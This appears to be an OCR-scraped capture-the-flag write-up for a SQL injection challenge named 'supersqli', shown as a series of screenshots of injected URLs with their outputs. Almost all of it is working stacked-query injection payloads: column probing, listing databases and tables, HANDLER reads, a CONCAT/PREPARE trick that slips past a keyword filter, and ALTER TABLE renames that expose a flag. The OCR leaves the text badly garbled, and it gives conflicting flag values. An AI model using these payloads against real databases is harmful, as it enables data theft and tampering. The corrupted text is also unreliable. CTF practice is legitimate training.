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error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '’ at line 1
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D [1' order by 2 #| ] EarEih

array(2) {
[ol=>
string(1) “1”7
[11=>
string(7) “hahahah”
}

{H 221" order by 3 #f i T H P48 1R
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Py [1' order by 3 # ] 1R ER

error 1054 : Unknown column '3’ in ’order clause’
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-1" union select 1,databases #
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return preg match(”/select|update|delete|drop|insert|where|\. /i”, $inject) :
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-1'; show databases; #

« > C O 8 111.200.241.244:62233/7inject=-1'%3B +show + databases%3B +%23
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A |71'; show databases; # ” {RarEf) |

array(l) {
[ol=>
string(11) “ctftraining”

array(l) {
[ol=>
string(18) “information_schema”

array(l) {
[o]l=>
string(5) "mysql”

array(l) {
[o]=>
string(18) “performance schema”

array(l) {
[o]=>
string(9) “supersqli”
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array(1) |
[o]=>
string (4) “test”
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-1';use supersqli;show tables;#



« > C QO 8 111.200.241.244:62233/?inject=-1";use supersqli;show tables;#
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array (1) {
[ol=>
string(16) “1919810931114514”

arrav(l) {
[ol=>
string(5) “words”
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& Load URL http://111.200.241.244:62233/ inject=-1",use supersgli;show tables# |
3 split URL
4
@Execute

[ Postdata [ Referer [ User Agent [J] Cookies Add Header Clear All

H  Upgrade-Insecure-Requests: 1
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-1';use supersqli;show columns from *1919810931114514° #
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Commit
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O & 111.200.241 244:62233?inject=%C2%A0-1";use supersqli;show columns from "1919810931114514°;#
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array(6) |
[o]l=>
string(4) "flag”
[1]1=>
string(12) “varchar(100)”
[21=>
string(2) "NO”
[3]=>
string(0)
[4]=>
NULL
[5]=>
string(0)
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& Load URL http://111.200.241.244:52233/?inject= -1';use supersqli;show columns from "1919810931114514";#

& split URL

@ Execute

[ Postdata [ Referer [ User Agent [] Cookies Add Header Clear All

H | Upgrade-Insecure-Requests: 1
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-1";use supersqli;handler *1919810931114514" open as p;handler p read first;#

< > C QO & 111.200.241.244:62233/?inject=%C2%A0-1";use supersqli:handler “1919810931114514" open as p;handler p read first;# B 9
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a1 =)

array (1) {
[o]=>
string(38) “flag{c168d583ed0d4d7196967b28cbd0b5e9}”
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& Load URL http://111.200.241.244:62233/?inject= -1";use supersqli;handler 1919810931114514" open as p;handler p
x read first;#
Split URL
4
@ Execute

[] Postdata [J Referer [ User Agent [ Cookies | AddHeader  Clear All

H  Upgrade-Insecure-Requests: 1
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select flag from 1919810931114514°

A LE#EE Sflag, T]2&select #iddEHE 7, FrLAFRAT ] DUIE i T4 1K Seid select T 38

A ';
set @sqgl = CONCAT('sele','ct flag from "1919810931114514;");
prepare stmt from @sq;

EXECUTE stmt;#

Commit r
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< - C O 8 111.200.241.244:62233/?inject=-1":set @sql = CONCAT('sele’, ct flag from “1919810931114514"):prepare stmt from @sc
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strstr($inject, "set”) && strstr($inject, “prepare”)
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& Load URL http://111.200.241.244:62233/7inject= -1";set @sql = CONCAT('sele’,'ct flag from
"1919810931114514";");prepare stmt from @sql; EXECUTE stmt;#
& split URL

(®) Execute
[ Postdata [ Referer [ User Agent [J Cookies Add Header Clear All

H Uparade-Insecure-Requests: 1

KPlset IR preparetl & Fistrstrid R T, {HEStrstri® A X 40 K/NE, FrUARN A PLE— T K/MEREET
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&« => C O & 111.200.241.244:62233/?inject=%C2%A0-1",Set @sqgl = CONCAT('sele’,'ct flag from "19198109311145147;");Prepare stmt fr 2
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1 | tezeema |
array (1) {
[o]=>

string(38) “flag{c168d583ed0d4d7196967b28cbd0b5e9]”
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& Load URL http://111.200.241.244:62233/?inject= -1';Set @sql = CONCAT('sele’,'ct flag from

'1919810931114514°;");Prepare stmt from @sql;EXECUTE stmt#
3 spiit URL

V.
@ Execute
[ Postdata [J] Referer [ User Agent [] Cookies Add Header Clear All
H | lInarade.neerire.Reniaata- 1
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« > C QO 8 111.200.241.244:62233/inject=-1";show columns from words;#
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array (8) |
[01=>
string(2) "id”
[1]=>
string (7} "int(10)”
[2]=>
string (2] "HO”
[3]=>
string (0)
[4]=>
HILL
[5]1=>
string (0]

!

array (6} |
[0]=>
string(4) “data”
[1]=>
string(11) “varchar (20)7
[2]=»
string(2) “NO”
[31=>

[51=>
string(0) 77
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@ Load URL http://111.200.241.244:62233/7inject=-1";show columns from words:#]
g.’u Split URL
< - C QO 8 111.200.241.244:62233/?inject=%C2%A0-1";handler words open as a:handler a read next:#
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a1 ===

array(2) |
[01=»
string (1) "1
[11=>
string (T) “hahahah”
i
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& Load URL http://111.200.241.244:62233/?inject= -1";handler words open as a;handler a read next;#
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alter table "1919810931114514° rename to words

&® B 7B 4 flagi Aid

alter table words change flag id varchar(100)

_’]';
alter tables words rename kkKk;
alter tables "1919810931114514° rename words;

alter tables words change flag id varchar(100);#
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array (1) |
[o]=>
string(38) “flag{c168d583ed0d4d7196967h28chd0bbed}”
1
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